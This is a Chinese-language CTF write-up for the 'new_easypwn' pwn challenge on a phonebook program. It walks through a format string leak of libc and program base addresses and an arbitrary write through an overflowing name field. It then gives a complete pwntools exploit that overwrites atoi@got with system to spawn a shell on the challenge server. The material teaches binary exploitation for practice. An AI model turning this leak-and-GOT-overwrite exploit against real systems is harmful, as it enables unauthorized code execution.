攻防世界 new_easypwn 题解
程序分析
查看程序基本情况,如图,该程序是64位程序,开启了Canary、NX、PIE保护。
使用ida64打开分析程序,该程序是个电话录之类的,可以添加、删除、查看、修改通讯录。在查看函数这里发现存在字符串格式化漏洞,如图红框中标注所示。
其中图中地址unk_2020E0 + 32*v1
为用户输入的电话号码内容,如图(添加功能程序)标注出来的部分。其中下图中的dword_2020BC
与上图中的v1
都是索引(0,1,2,3),只是后者为用户输入选择的索引,前者为程序记录的电话录计数器。unk_2020E0
为通讯记录存储基址,phone信息存储在对应记录起始地址处,大小为11;name信息存储在对应记录起始地址偏移11处;每个记录大小为32。
特别的,在添加通讯录时,描述信息des字符串地址存储在索引为0的记录中的name属性后,如图,qword_2020F8
地址为上图unk_2020E0 + 11
(name字段)偏移13处。
在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]
所指向的地址处。通过前面的分析,我们知道qword_2020F8[4*0]
地址位于索引为0的用户通讯录记录name字段后紧邻位置,并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入,控制qword_2020F8[0]
所指向的地址值,进而向该地址输入数据,即可以向任意地址写入数据。这是解这道题时比较巧妙的地方。
解题思路
这道题的主要思路是通过调试分析和格式化字符串漏洞将栈上有关数据溢出,进而计算出程序加载基址和动态链接库中函数地址,进一步算出动态链接库加载基址,然后可以获得system地址和函数atoi@got地址,通过修改函数got表地址为system地址,使程序在调用该函数时调用system("/bin/sh")进而获得系统shell。
详细过程
给程序设断点,运行到存在字符串格式化漏洞的printf函数处。分析栈数据如图,此处进入了printf函数内部,所以顶部为返回地址。在64位程序,函数传参先传给6个寄存器,然后存到栈上,那么从+0x0008
位置开始为相对于格式化字符串参数的第6、7、8...个参数。在其中存在__libc_start_main
函数偏移240的地址(第13个参数),此外通过分析还可以发现第9个参数地址为程序偏移0x1274处地址,由此可以计算出__libc_start_main
函数地址和程序加载基址。
即通过格式化字符串漏洞泄露(%13$p%9$p
)出第13个参数和第9个参数的值,前者减240为__libc_start_main
函数地址,后者减0x1274(或&0xfffffffffff00000)为程序加载基址。
Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
elf_base = int(sh.recv(12),16) - 0x1274
通过ELF加载程序和提供的链接库得到链接库基址,进一步得到system
函数地址和atoi@got
地址。
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
最后基于前面分析的漏洞,通过修改通讯录函数,覆写atoi@got
地址为system
,当再次选择功能时,输入/bin/sh
就会调用system("/bin/sh")
得到shell。
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
完整代码如下
from pwn import *
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
sh = remote('61.147.171.105',54903)
def Add(phone,name,size,info):
sh.sendlineafter('choice>>','1')
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('size:',size)
sh.sendlineafter('info:',info)
def Edit(index,phone,name,info):
sh.sendlineafter('choice>>','4')
sh.sendlineafter('index:',index)
sh.sendlineafter('number:',phone)
sh.sendlineafter('name:',name)
sh.sendlineafter('info:',info)
def Show(index):
sh.sendlineafter('choice>>','3')
sh.sendlineafter('index:',index)
# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345678')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())
运行结果如图所示
其他
在调试分析程序时,不同的动态链接库会影响程序分析的结果。
起初我使用自己电脑上的动态链接库分析时,栈上__libc_start_main
相关地址偏移为205而非240,所以一直无法利用成功。后来clone了https://github.com/matrix1001/glibc-all-in-one.git项目,下载了与题目类似的链接库,利用patchelf使程序加载该库,才获得了正确的结果。
patchelf --replace-needed libc.so.6 ./libc-2.23.so hello
patchelf --set-interpreter ./ld-2.23.so hello
标签:easypwn,libc,题解,start,地址,sh,sendlineafter,new,main
From: https://www.cnblogs.com/C0ngvv/p/16656671.html